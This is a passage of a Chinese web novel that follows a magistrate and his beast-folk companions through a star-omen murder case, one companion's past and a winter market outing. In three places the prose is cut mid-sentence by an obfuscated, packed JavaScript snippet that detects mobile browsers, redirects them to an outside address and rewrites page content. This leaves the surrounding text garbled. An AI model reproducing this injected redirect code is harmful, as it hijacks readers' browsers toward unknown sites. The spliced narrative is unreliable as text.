“或许天道本就不讲道理。”他想起年轻时听过的传说,那些号称纯净无垢的修士,又有几个没沾过人命? “你恨你父亲吗?”这个问题在他心底藏了数百年。 “恨不起来。”江知烨将剑贴在额头,剑身凉意透过皮肤渗进骨髓,“因为我做的事,和他当年并无不同。”话音未落,他突然转身往外走,旧剑在身后划出一道凛冽的弧光。 “去干嘛?” “回炉重造。” 铁匠铺的炉火将脸映得通红,看着那柄承载无数回忆的旧剑慢慢融化,铁水顺着坩埚边缘滴落,溅起细小的火星。 当铁水重新塑成铁箫,江知烨胡乱吹了声,刺耳的音调惊飞了屋檐下的燕子。 “还是别吹了吧怪难听的。”江知烨识趣地把铁箫收好。 归途经过“花月满人间”,江知烨驻足在门口时,三楼突然传来轻佻的嗓音:“江大人这副丧家犬模样,可是被哪家姑娘甩了?''忘川露''酿好了,赏脸?” “你酿的酒,喝了真不会死人?” “若是毒酒,南清城的棺材铺早该排队了。” 当琉璃盏中注满酒液,红色的液体如凝固的血,凑近便能闻到浓烈的药香。 江知烨舌尖刚触到酒液,五官瞬间皱成一团——先是苦得像吞了整株黄连,继而舌根泛起麻意,最后竟在喉头漫开一丝微不可察的甜。 "这也能叫酒?"他呛得直咳嗽,眼泪都冒了出来。 柳漠澜指尖叩着桌面,发出清脆的声响:"待你尝过真正的苦,就知道这滋味有多妙。" "倒像是有人把秋风煮了喝。"江知烨扯了扯嘴角,忽然从袖中掏出铁箫,:"柳老板可会吹这个?" “铁箫?倒是少见”柳漠澜接过铁箫仔细观察。 箫声乍起时,江知烨愣住了。原本粗粝的铁箫,在柳漠澜唇边竟淌出清泉般的曲调。乐声裹着晚风掠过街巷,也吹散了他眉间的郁结。 柳漠澜收了箫,指尖划过冰凉的铁面:“这玩意儿,倒像极了江大人——看着冷硬,内里...”他没说完,只是推过酒壶,“再试一口?” 江知烨望着杯中晃荡的血色,竟觉得这酒,或许真有几分意思...... 12. 槐叶未枯 秋分前夜,山南西道节度使李崇晦暴毙于观星阁。 案发现场星图残卷散落如血,朱砂笔痕凝于"荧惑守心"星象之下,死者七窍渗黑却无外伤,掌心紧攥半片枯黄槐叶——此槐乃节度使府中三百年老树,入秋方黄,此时尚青。 "大人,这星图..."方妙蹲在地上,好奇地翻动着残破的图纸。 江知烨皱着眉头,踢开脚边的卷轴:"神神鬼鬼的东西,我哪懂?顾夜白顾时夜呢,有什么发现?" "问到了!"顾夜白押着一位老者上前,"府中长史说,李崇晦近日常在子夜登阁,对着《乙巳占》自言自语,说二百年前的血案要借荧惑之力洗净。" 只老者捋着胡须,长叹一声:"在下陆明修,去年曾应李公之邀观星。他当时提到''荧惑为勃乱,残贼疾丧饥兵'',不想竟成谶语。" 江知烨转头看向白鸽。只见对方正拿着星图,神色冷淡地走到陆明修面前:"这图是谁画的?" “啊,想必是李公身边的谋士——陈玄策,我听说过他,此人精通奇门遁甲,一直跟着李公的” 闻言江知烨当机立断:"我去查陈玄策。方妙、白鸽负责府内人员;顾时夜、顾夜白排查街区。陆先生,还请暂时留在此处,稍后可能还需向您请教。" “老夫知道了”陆明修微微俯身,其余人见状也不敢耽搁,纷纷离开。 "星图是你画的?"在书房找到陈玄策的时候,那人正低着头写着东西,对自己的到来毫不关心,江知烨见状也懒得管,直接直奔主题。 "前两日画的,案发当晚不在现场。" 江知烨目光如炬,盯着对方袖口:"那这痕迹怎么解释?" "紫草汁而已,用来延缓墨痕氧化。" "案发当晚你在哪里?" 话未说完,方妙匆匆跑来:"大人!白鸽发现重要线索!" "说!" "节度使夫人柳氏的妆匣里,藏着用槐叶汁浸泡的香膏。她还提到,老爷每年中秋都会独自在槐树下饮酒,说这树是故人所植。另外,养子张玄鹄的书房暗格里,藏着半幅焦尾琴,琴弦上缠绕的槐树皮纤维,与死者掌心的叶脉完全吻合。"白鸽一边说,一边紧盯着始终低头的陈玄策。 江知烨摩挲着下巴,陷入沉思。这时,顾夜白的声音传来:"大人!有收获!"他和顾时夜带着一个更夫走进来。 "这是?" 顾夜白得意地介绍:"我们想到更夫最清楚夜间情况,就把他带来了。" “回大人”更夫慌忙跪下,:“子时初刻,观星阁灯火通明,分明看见大人负手而立;子时三刻巡过,灯火已灭,却有黑影从檐角掠过,似有三对足音。” “三对?”江知烨一愣,观星阁高九丈,四周无攀附之物,如何能有三对足音? 线索一时断下,江知烨翻遍了所有书籍也找不到任更多,毕竟他真不懂星象这种玄学。 直到几日后,安德鲁上门带来了重要关键,一份记载着剑南道的一桩劫饷案:时任都尉的李崇晦护送十万军饷,遇山匪伏击,唯他生还。稿末有句血书:"槐叶覆面者,非鬼乃心。" “当年张承业的验伤记录里,咽喉处有道半月形刀疤,与李崇晦供词里"山匪左撇子"的描述完全不符。但当时这案子不是我管,也没有细查,就草草结案了。” "张承业?我听过他的名号,挺可惜的。"江知烨翻看着文稿,喃喃自语。 "我觉得你该去查查他和李崇晦的事,张承业死后,李崇晦就收养了他的儿子,之后又娶了一个舞女生下一个儿子,好像是叫李昭临。"安德鲁为自己倒了杯茶,挑眉调侃,"新茶?哪来的?品味见长啊。" "柳漠澜给的,说是商人送的。" 安德鲁放下茶杯,好奇追问:"说真的,你俩怎么回事?方妙说,你们刚开始见面还打了一架,怎么突然这么要好了?" 江知烨耸耸肩,嘴角不自觉上扬:"谁知道呢。" 砚台里的墨汁被笔尖搅得泛起涟漪。江知烨盯着砚心打转的墨圈,耳尖却渐渐发烫。 他想起之前柳漠澜倚在门框上的模样,外衫上沾着竹香,掌心托着的檀木匣还带着体温:"商人从岭南运来的新茶,说喝着像家乡的味道。"当时那人眼尾微挑的笑,让他莫名想起城南画舫里唱《竹枝词》的歌姬,明明该是江湖人惯有的疏朗,偏生带着股说不出的细腻。 "女人追不到,男人也不是不行..."安德鲁的话被茶盏磕在桌面的脆响打断,抬头便撞见江知烨骤然绷紧的后颈,发带松了半寸,正好遮盖住泛红的耳尖。 这人向来端着玩世不恭的架子,此刻却像被踩了尾巴的猫,笔架上的狼毫笔被扫落三支,砚台边沿还沾着他慌忙起身时蹭到的墨渍。 "我去查李昭临的下落。"江知烨抓过案头的羊皮纸往袖里塞,"还有——"他忽然转身,耳尖的红痕还未褪去,"下次再拿柳漠澜打趣,我就把你那些古玩全卖了给你家姑娘买糖人吃!"话音未落,人已撞得木门哐当作响。 安德鲁望着空荡荡的书斋,指尖摩挲着茶盏边沿未褪的体温。 烛光将案头未合的《星象考》照得透亮,某页边角用朱笔小楷写着行批注:"槐者,木鬼也。"他忽然轻笑出声,茶烟袅袅升起,模糊了案头散落的碎纸——那是江知烨方才慌乱中掉落的,上面歪歪扭扭画着个穿墨绿长衫的人影,站在竹林里。 当江知烨找到李昭临的时候,他正跪在灵堂里。 灵堂檐角的铜铃在夜风里碎成一串清响,李昭临跪在蒲团上的脊背挺得像截枯木,指香案上的烛火被穿堂风撩得歪向一侧,投在墙面上的影子随着烟霭明灭,恍若一具随时会碎在月光里的傀儡。 江知烨立在朱漆柱后,看着他对着李崇晦的牌位重重磕完三个头,才走过去开口询问,“你父亲有说过他的事吗” 青年猛地转身,眼底的红丝像淬了冰的刀刃:“大人问的是二百年前的劫饷案?”他喉结滚动着,指尖无意识地摩挲玉佩边缘,“父亲临终前只说,槐叶覆面的人……心里都揣着半具尸骨。” 廊下忽然传来衣摆扫过青砖的窸窣声。陆明修不知何时立在月洞门边,手里正捏着从观星阁暗角撬下的半片陨铁残片,边缘还带着新鲜的撬痕。 “北斗归位,星门自开。”老者抚着白须上前,目光灼灼落在李昭临腰间,“当年令尊与张公在槐树下盟誓时,曾以北斗纹为记。这玉佩若嵌在地砖凹槽……” 闻言李昭临后退半步,却在江知烨伸手时乖乖地解下玉佩。玉质触手生凉,斗柄指向正北的弧度,竟与观星阁地砖上那道被无数双鞋底磨得发亮的凹痕严丝合缝。 当玉佩“咔嗒”嵌入砖面的瞬间,地面发出闷雷般的轰鸣,青石板如活物般裂开,露出一条幽深的密道,腐叶与铁锈混杂的气味扑面而来。 江知烨摸出火折子,昏黄火光里,一具枯骨倚着石壁而坐,褪色的槐叶编绳仍紧紧缠在颈间,指骨间还夹着半片风干的槐叶——叶脉走向与李崇晦掌心那半片严丝合缝,仿佛从同一枝条上撕下。 陆明修忽然剧烈咳嗽,苍老的手按在石壁上,指甲缝里渗出点点血珠:“二百年前……劫饷案那晚,他们说山匪劫财,可真正的山匪……”他看向李昭临,后者正盯着枯骨颈间的槐叶编绳,浑身肌肉紧绷如弦,指节因用力而泛白。 “是举着槐叶灯笼的人啊。” 江知烨忽然想起李崇晦死前攥着的槐叶——明明还是孟秋,槐树却提前枯黄,叶片边缘泛着诡异的黑。他指尖划过枯骨颈间的编绳,绳结里竟缠着几根白发,比月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694744|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光更冷的颜色。 观星阁的“荧惑守心”图、柳氏妆匣里的槐叶香膏、李昭临琴弦上的槐树皮纤维……所有线索突然在火光中串成一线。 “三对足音。”江知烨忽然低笑,望向李昭临瞬间绷紧的肩膀,“子时三刻掠过檐角的黑影,该是两人合背一人吧?李崇晦登阁时还活着,可更夫看见的‘负手而立’,不过是具被摆成观星姿势的尸体——有人借着星象,给二百年的血案续了最后一道咒。”话音未落,密道深处忽然传来砖石崩塌的声响,仿佛岁月在某个节点突然裂开,将往事的尘埃尽数抖落。 直到陆明修命人在观星阁顶支起白布,将星图的光影投射到槐树上视给所有人观看。 秋夜的月光穿过槐枝,在白布上投下斑驳树影,众人惊呼——那虬曲的枝桠竟与“荧惑守心”星象分毫不差,树冠中心那处被雷劈出的缺口,恰好对应心宿二的位置,而几片提前枯黄的槐叶,正悬在“荧惑星”的投影下。 “李崇晦中的是牵机毒。”白鸽转身盯着张玄鹄,目光如刀,“此毒需贴身接触十二时辰才会发作。我们找人验了,这毒就在琴弦上,渗入他的肌理。”他又指向阁外的檐角,那里挂着三枚铜铃,被夜风吹得叮咚作响,“更夫听到的‘三对足音’,不过是这铜铃借着秋风,在檐角玩的把戏——两长一短的铃声,混着槐树的沙沙声,便成了‘足音’。” 张玄鹄发出惨笑,眼睛死死盯着李昭临,"二百年前,我父张承业是真凶。他与李崇晦合谋劫饷,却被反杀,他把我父埋在槐树下,还日日在树上刻他的生辰八字,让槐树根须缠着骸骨生长。”他指着密室中的枯骨,声音哽咽,“这二百年,每到中秋,槐树就会多一道刻痕,每长一寸,就是在啃食我父的骨头!” 那三百年的老槐树,树根下埋着的何止是骸骨,更是二百年来未散的怨气,每一片新叶都是从白骨上抽出来的。 话音未落,柳氏突然发出一声尖叫,竟一把撕开衣襟,露出胸前刺着的北斗纹,“我是张承业的妹妹!”她的声音里混着哭腔与笑意,“当年扮作舞女嫁入李府,就是为了等他的孩子长大……”她看向李昭临,眼中既有母爱的温柔,又有复仇的疯狂,“你以为调琴下毒是他一人之计?那牵机毒,是我掺在你调制的松胶里的,每次你为他校弦,毒就顺着琴弦渗进你的掌心!” 李昭临望着柳氏,忽然笑出声,怀里的焦尾琴突然发出一声裂响。他转身跑向庭院,老槐树的影子在他身上摇晃,如同无数只惨白的手在拉扯。“爹,孩儿来陪你了!”他大喊着纵身跳入枯井,井底传来琴弦崩断的声音,紧接着是柳氏的哭喊:“昭临!”她跟着跃下,最后一眼望向槐树,枝叶间漏下的星光,如同当年哥哥咽气时眼中的碎光。 陆明修望着星图,忽然从袖中摸出李崇晦的诗笺递给江知烨:“荧惑非灾星,人心才是劫。”他对着北斗星位长叹,“二百年前他就知道柳氏活着,却任由他们接近,甚至每日让李昭临调琴——他是在用自己的命,给当年的血案画个句号啊。” 案结次日,钦天监急报荧惑逆走,守心象解。 安德鲁在羊皮卷上记录此案时,烛火突然爆响,将“凉”字尾笔染成暗红,恍若井底那声转瞬即逝的琴音余烬。 他望着窗外老树,深秋的叶子已开始泛黄,却有几片带着血色纹路,在月光下轻轻颤动。 “这世间事,终究是人心难测啊。”他喃喃自语,指尖划过羊皮卷上的“荧惑守心”图,星点墨迹突然晕开,在烛火下连成一片,如同老槐树那盘根错节的根系,在地下悄悄缠了二百年,终于在这个秋天,让所有的恩怨,都随着那片槐叶,落在了该落的地方。 后来,陆明修在《星象异闻录》中记道:"世人皆畏荧惑守心,却不知人心所设之局,比天象更诡,比劫火更烈。" 13. 我想见他 比起那年的冬天,今年的冬天来早了不少,虽还未落雪,可吹过的风已经很刺骨了。 方妙把脸埋进鸭绒被时,鼻尖还萦绕着梅子蜂蜜的甜香。 火炉上的粗陶壶咕嘟作响,琥珀色的蜜浆正顺着壶嘴凝成细流,在炉灰上洇出深色痕迹。 她蜷着脚趾勾住毛毯边缘,忽闻檐下铜铃骤响。 "准是忘带钥匙了..."方妙咕哝着踢开被子,慌忙下床穿上棉鞋。 木门撞开的刹那,只见柳漠澜正站在院子中央,手中青瓷酒坛上红绳随风轻颤,本应蛇尾的下半身此时已被双腿代替,脚踝处露出的皮肤白得近乎透明,淡青色血管蜿蜒游走。 "柳老板?"方妙揉了揉睡眼,不禁觉得惊讶,:“你咋来了?” 柳漠澜闻声转头,见到少女的时候也有点惊讶,随即轻挑眉梢,:“你家大人呢?” "去米铺了..."方妙缩着脖子往回退,后知后觉发现单衣下摆扫过脚踝,冻得发麻,“你站在那不冷吗,进来吧。” 屋内的松木柴"噼啪"炸开火星,柳漠澜将酒坛放在桌子上,"才霜降,倒是把屋子烧的暖和。" 方妙缩进被窝,只露出半张脸:"您尾巴呢?还好意思说我...不过话说你咋来了?" "送点暖身体的酒罢了" “江某人不是喝不了酒吗。你送谁的?” “你怎么就认为我是送给他的?” “那是给我的?嘻嘻别那么特意嘛。”闻言方妙眼睛一亮,“噌”的一下从床上坐起来。 “方姑娘的面子可真比西头面饼摊上的面饼一样呢。”柳漠澜嘴角勾起,好整以暇地看着瞬间幽怨的少女。 “切,不给拉倒”方妙撇着嘴重新躺回床上,:“话说你有真元啊,那你多大呀。” “两千三有二时岁,有问题吗” 空气一下寂静了,方妙开口半天才找回自己的声音,十分尴尬地用被子挡住自己的脸:“啊哈哈哈,原来.....你比我大啊” 闻言柳漠澜身体往后一仰,双手抱臂语气调侃:“难道方小姐觉得自己比我大?你之前还说要当我小弟呢,怎么?是贵人多忘事吗” “哪壶不开提哪壶,你干嘛那么较真嘛!” “怎么,方小姐倒是怪起在下了?话说方小姐多大呢,这么自信比我大?” “我两千一有二...也就比你小一点嘛!”方妙心虚的不敢和对方对视。 “这么说,方妙小姐也有真元?真是年轻有为啊” “那自然!我虽然平日游手好闲但实力还是可以的” “真是自信,哦,对了方妙小姐之前说自己来自北方,我倒是好奇,方小姐为何会来当捕快?”柳漠澜看着方妙询问自己的疑惑。 “说来话长...”似是陷入沉思,方妙沉默良久才缓缓开口,:“打我有记忆起时,就在青楼被养大,后来''妈妈''跑了后,我就一直在流浪直到大旱开始逃亡,恰巧遇到了安德鲁,我两就认识了。” “那你为何会比他晚到江南?” “一场流沙,我走丢了,就又流浪了好多年” “那你为何不早点来江南?你们没约好吗” “为什么?我两非亲非故,而且我本来就没有目的地”方妙呆呆地看着头顶的床幢,继续说道,:“来江南的那年.....正好也是冬天......” 北风卷着碎雪灌进巷口,少女将褪色的披风又紧了紧。 粗麻布料早已磨得透光,呼出的白气在睫毛上凝成冰晶,比她此刻的体温还要寒凉。 蜷缩在城隍庙斑驳的墙根下,她望着青石板上凝结的薄冰,恍惚觉得自己也快冻成这座城的一部分。 "可怜的小姑娘,这砭骨寒冬,你要如何捱过?”沙哑的嗓音惊得少女浑身一颤。 温热的麦饼贴上唇瓣的瞬间,干裂的皮肤裂开新的血口。 少女顾不上疼痛,狼吞虎咽的模样惊得老妇人直抹眼泪:"慢些吃...跟我回庄子,暖炕头还有小米粥..."老人布满老年斑的手轻轻搭在她肩头,温度却像烙铁般灼人。 记忆里最后一个给她温暖的人,是在青楼发高热时,偷偷塞给她半块冰糖的厨娘。可天亮后,那厨娘就再也没回来过了。 雪粒子砸在青瓦上,少女盯着老人鬓角的白发,一片雪花恰巧落在她泛红的眼角,如同化不开的泪,她知道自己背负的,是无法让她自由的锁链——所以她不能走。 就在这时,阴影里传来破锣般的冷笑:"放着现成的家不要,非要冻死在这儿?" 少女瞬间摸向藏在袖中的碎瓷片,警惕地盯着巷口的黑影。 一个裹着披风看不清样貌的男人缓步走出,斗笠边缘垂落的草绳在风中摇晃,遮住了大半张脸。"我叫白鸽。"他的声音像砂纸磨过生锈的铁片,"不过你更想听的,恐怕是''安德鲁''三个字?" 少女的呼吸骤然停滞,指甲刺破掌心却浑然不觉。 那个总在她饿肚子时递来半块饼的少年,那个在流沙中嘶吼着她名字的声音,此刻都化作胸腔里擂鼓般的震颤。 "你知道他在哪?!"她冲上前半步,又猛地刹住——对方腰间晃动的青铜令牌,赫然刻着熟悉的"安"字。 白鸽把玩着令牌,金属碰撞声清脆得刺耳:"想见面?先报个名。" "方妙!"她几乎是喊出来的,喉咙发紧得生疼。 "接着。"令牌破空飞来,方妙伸手接住时,金属的凉意顺着指尖蔓延全身,"从今天起,你就是安府的人了。" 可听到这个的时候,方妙却攥着令牌后退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694745|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半步:"我...我只是看看他。"话尾的颤抖泄露了她的慌张。 白鸽嗤笑一声,转身就要隐入风雪。 “那你就冻死在这儿吧,没人会给死人传信。” "等等!"方妙踉跄着追上去,"我跟你走!" "所以后来你就留下来了?"柳漠澜指尖轻轻叩了叩桌沿,青瓷茶盏里的涟漪晃碎了窗棂斜切进来的半幅夕阳。 方妙的指尖无意识地摩挲着耳尖雪白的绒毛,那对熊耳倏地抖了抖,仿佛被回忆挠了痒:"严格说起来,最初安德鲁只说让我熬过这个雪季。"她忽然笑起来,眼角弯成两枚月牙,"大概是这里的炭火烧得太暖,竟把人煨得忘了归期。" "那你如何又成了江大人的幕僚?"柳漠澜偏过头望向少女。 只见方妙却突然伸手按住自己的熊耳,像怕什么秘密从毛绒里漏出来似的,眼尾上挑着狡黠:"有些故事啊,要留到酒酿发酸时再讲。"她打了个哈欠,指尖揉了揉泛红的眼角,"何况...太久没说这么多话,耳朵都要累得耷拉了。" 柳漠澜闻言低低笑出声,随即站起身,素白的指尖捏着衣襟上的盘花扣轻轻扣好:"暖酒时加片橙皮,比单喝更熨帖。"话音未落,木门便在他身后吱呀一声合上,檐下铜铃被穿堂风撞出细碎的响,像谁不小心遗落的半句诗。 方妙盯着门上斑驳的朱漆,熊耳却突然竖得笔直——院外传来熟悉的脚步声,混杂着新炒栗子的甜香。她慌忙用袖口蹭了蹭眼角,刚准备起身下床,就听见院门吱呀推开的声响。 "柳老板?"江知烨肩头落着星点暮色,看见柳漠澜时眼睛一亮,,"今日竟劳你亲自跑一趟?" 柳漠澜驻足停下,:"新制了暖身酒,想着给方姑娘驱寒。"他瞥见江知烨怀里鼓囊囊的油纸包,眼尾微弯,"又去街角王大爷那偷师了?" "哪是偷师!"江知烨忙不迭掏出油纸包,热气裹着焦糖香扑了满面,栗子壳上还沾着他掌心的温度,"特意让王大爷多撒了把糖霜,你上次说..."他忽然顿住,耳尖泛起薄红,指尖无意识地摩挲着油纸边缘,"咳,总之尝尝看。" 柳漠澜接过栗子时,指尖触到对方掌心的薄茧带来一丝痒意。他将油纸包轻轻揣进袖中,柔声开口:"下回再这般破费,我可不好意思了。"说罢转身,下摆扫过阶下尘灰,"酒楼新来了个说书人,讲的《山海经》倒有些新意,改日带方姑娘去听?" "好!"江知烨应声时,方妙恰好推开窗。晚风卷着栗子香扑进屋子,她看见日光正沿着柳漠澜的发梢往下淌,而江知烨站在院子中央,指尖还攥着没来得及送出的竹纹香囊,像攥着一整个春天的期待。 “江大人!我的那份栗子呢!” “吃了!” “你说好的!你骗人!” 14. 我跟丢了 霜降一过,北风便卷着碎冰碴子往骨头缝里钻。 屋檐下的冰棱子疯长,连街角老槐树的树洞都结了层白霜——今年的冬天,像是踩着鼓点急着来赴约。 可刺骨寒意挡不住街上飘来的糖炒栗子香,兽人世界向来把节庆当日子里的盐巴,再小的节日也要热热闹闹地添点滋味。 天还没大亮,江知烨就风风火火踹开了安德鲁书房的门,身后跟着蹦蹦跳跳的顾氏兄弟。 方妙揉着惺忪睡眼,被他一把拽出了门。安德鲁抓着半开的衣襟追出来,金发乱糟糟地翘着,嘴里还念叨着:“才寅时三刻......真要人命....” “老安!”江知烨回头勾住他肩膀,“今年方妙来了,咱们可得好好热闹热闹!顾时夜说西街新开了家爆竹铺,能炸出会变色的烟花!” 他话音未落,顾氏兄弟已经欢呼着冲向人潮,顾夜白的翅膀兴奋地炸起,顾时夜则举着糖葫芦边跑边回头喊:“安大人快跟上!” 安德鲁望着他们的背影,嘴角不自觉地扬起。方妙踮脚替他理好歪斜的衣领,:“江大人说得对,您总闷在书房里,头发都快和古书一个颜色了。”她话音带着笑意,却让安德鲁心头一暖——这丫头总爱用这种方式关心人。 街道越发热闹起来,卖灶糖的老汉敲着铜锣,卖春联的书生挥毫泼墨。安德鲁默默跟在方妙身后,看她蹲在小摊前,认真挑选包年夜饭饺子的彩线。她挑了红、金两色丝线,转身时熊耳扫落了旁边摊位的绒花,慌慌张张道歉的模样,倒让摊主笑得直不起腰。 “自从收了那俩活宝,你倒成了最会折腾过节的人。”安德鲁望着江知烨兴致勃勃的模样,语气里带着调侃。 其实他心里清楚,江知烨不是一个喜欢热闹的人,直到顾氏兄弟来了,才重新有了烟火气。 “你也别总摆着张冰块脸!”江知烨伸手想揽他肩膀,却被轻巧躲开,“几千年的公务还等着你忙呢,别一天到晚就待在你那破书房里,容易变老,你看我现在,精神焕发!” "我看你分明就是永远长不大的三岁小孩。"安德鲁冷不了地快走出几步,但随即又添了一句,只是语气温和了一点.:"但挺好的,比之前好。" 江知烨自然知道他的意思,眼里不经意闪过落漠,但很快又恢复正常,随即兴奋地跑上前揽住安德鲁的肩,使坏地把一半重量压上去,:"怎么说话呢,我好歹是你哥!我是三岁小孩,你呢?" "哥有比弟弟矮的兄长吗?顾时夜好歹和他弟一样高,你呢?" 闻言江知烨表情一僵,彻底愣在了原地。 安德鲁最会拿身高堵他嘴,次次管用,这次也一样。以至于一路下来,江知烨再也不嘴欠了.甚至不会再靠近安德鲁一点,而安德鲁却乐的自在,毕竟这样牵着方妙买东西也不会被打扰了。 恰时一道温润的男声传来“江大人这是怎么了?脸色比冻僵的兔子还难看。”柳漠澜款步走来,手里提着刚买的窗花。 “柳老板也来置办年货?”江知烨立刻来了精神,全然不顾冻红的鼻尖,“我帮你拎!你看那腌腊铺的酱鸭,还有南货店的桂圆干……”他连拉带拽地把人往巷子深处带,全然没注意柳漠澜欲言又止的模样——他雇的壮汉正扛着两筐年货,站在酒楼门口发愣。 “大人,江大人和柳老板走了。”白鸽瞥了一眼两人离开的方向,偏过头发现安德鲁心思全在方妙身上,根本没在听自己讲话,又转头寻找顾时夜和顾夜白的身影,同样也是不知道去哪里疯了。 偌大的街道,唯他一人站在原地,好似不存在于这个世界。 白鸽望着渐行渐远的两人,又转头看向被人群淹没的安德鲁和方妙,寒风卷起他的衣角,连带着顾氏兄弟追逐的笑声都变得模糊。 "白鸽,你在干嘛呢?"顾时夜突然走过来用肩轻撞了一下还在发呆的白鸽,"安大人他们呢?" "走了。" "那你不跟着吗?"顾时夜一边朝远处的顾夜白挥手 ,一边一塔没一塔地询问。 "跟丢了。"白鸽低声回答,声音被街边的喧闹声吞没。 这时顾夜白蹦蹦跳跳跑来,塞给他一块还冒着热气的糖饼:“尝尝!刚出炉的,甜得能把牙粘掉!” 糖饼的甜香在舌尖散开,白鸽却觉得喉咙发紧。他望着顾夜白灿烂的笑容,突然想起今早江知烨说要教他们写春联时,自己满心期待的模样。 可现在,所有人都有了自己的热闹。 “走吧,我们去玩吧!”顾夜白牵起他的手,直接往热闹的地方跑。白鸽看了看两人结合的双手,又看了看街市的另一头。 趁着人潮涌动,白鸽还是悄悄挣开了手。 寒风呼啸着灌进衣领,他逆着人流越走越快,直到拐进一条无人的小巷。身后传来顾夜白焦急的呼喊,却被他抛在了脑后。巷子尽头,几片残雪在墙角瑟缩,就像此刻他心底挥之不去的孤寂。 与此同时,绸缎庄的雕花窗棂漏进细碎天光,将满架绫罗染成流动的云霞。方妙踮着脚在织金锦缎与蜀绣缎面间来回穿梭。 柜台上堆着她挑中的月白襦裙、茜色披帛,还有缀满珍珠的鹅黄抹胸,可她仍扒着新到的鲛绡料子挪不开眼。 "都喜欢?那都买了吧。"安德鲁将几匹布料往掌柜怀里一推。反正在他看来,千金难换的绸缎也不过是哄小姑娘开心的玩意儿。 “真的吗?那我还真不好意思呢~”她刚要蹦起来欢呼,忽然被人撞得踉跄。 抬头只见个膀大腰圆的棕熊族妇人铁塔般立在面前,脸上横肉随着怒吼直颤:"没长眼睛是吧!撞到人不会道歉?" "明明是你......"方妙话没说完,安德鲁已经挡在身前。 他掌心稳稳托住少女的腰往后一带。"这位夫人,是你撞上来的。" “不是什么意思啊,护着这小蹄子是吧?啊?”妇人突然伸手要揪方妙的耳朵,却被安德鲁扣住手腕的力道惊得倒抽冷气。 "咔嚓"脆响混着惨叫炸开,围观人群瞬间让出大片空地。 安德鲁的瞳孔缩成野兽般的竖线,森冷威压压得空气发颤:"敢动官府的人?去牢里好好想想规矩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694746|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。" "安德鲁..."方妙拽了拽对方的袖口,"我...我怕。"少女的声音带着颤音,熊耳蔫巴巴地贴在头顶。 闻言安德鲁瞬间回神,转身时已换上温柔笑意,掌心轻轻揉她发顶:"吓到妙妙了,是我的错。"他侧头瞥向蜷缩在地的妇人,"滚吧,别再出现在我视线里。" 见状妇人连滚带爬地逃窜,没注意到方妙望向她背影的眼神——幽绿的眸光转瞬即逝,像雪地里一闪而过的狼影。 "我去趟茅厕。"方妙踮脚在安德鲁耳边低语,“别乱跑哦。” 而那熊族妇女捂住受伤的手冲出布庄,苍白的脸色比檐下冰棱更骇人。她的兽耳耷拉着,跌跌撞撞地往医馆方向奔去。 刚转过巷口,一股巨力突然从后颈袭来。粗糙的布料勒住咽喉,她整个人被凌空提起,像只待宰的幼崽般悬在半空。周围的喧嚣瞬间被耳鸣取代,幽绿的瞳孔在阴影中骤然收缩。 “被我咬死,还是...”沙哑的女声拖着悠长的尾音。 妇女死死咬住下唇,尝到血腥味才惊觉自己差点咬穿了舌头。 随即头顶的一线天光被阴影吞噬,巨大的熊影在墙面上张牙舞爪,紧接着是骨骼碎裂的闷响,暗巷里重新陷入死一般的寂静。 五分钟后,方妙用手帕擦拭嘴角,兽耳微微颤动,捕捉着巷子里逐渐消散的血腥气。 街道上依旧人声鼎沸,她像什么都没发生一样,蹦跳着回到安德鲁身边,“等久了吧!” 安德鲁刚将包裹递给跑腿的小厮,自然地牵住她的手,指腹无意识摩挲着手中的细嫩“没,走吧,该买的都齐了。”他说着,替她掖了掖被风吹乱的鬓发。 方妙仰头望着他眼底的温柔,突然凑近耳语:"方才瞧见些有趣的事。"她故意拖长尾音,安德鲁心领神会地弯腰,任由少女温热的呼吸扫过耳畔:"不过现在不说,先看那边——" 顺着少女指尖望去,江知烨正笨拙地替柳漠澜提着两筐冻梨,他时不时低头傻笑,柳漠澜将染着墨香的帕子递给他擦汗,眼角眉梢都是藏不住的笑意。 "要叫他们一起吗?"安德鲁明知故问。 方妙用力戳了戳他胸口,:"江大人现在眼里哪还有别人?你看他那尾巴,都快摇成螺旋桨了!"她压低声音模仿江知烨的语气:"柳老板,这冰糖葫芦最甜!柳老板,我帮你试毒!柳老板~柳老板~活像只开屏的孔雀!” 安德鲁忍俊不禁:“何止像孔雀,简直是被拔了毛还往上凑的笨鸟。”他想起当初江知烨被打成那个样子,现在却上赶着献殷勤,“回去给你看他年轻时的画像——那时他可是出了名的冷面阎王,谁能想到现在...” “现在被吃得死死的!”方妙抢着接话,笑得直不起腰。她拽着安德鲁往回跑,“快走快走!我要看看江大人板着脸的样子!” 远处,某个傻子浑然不知发生了什么,还在滔滔不绝地说着新酿的梅子酒。 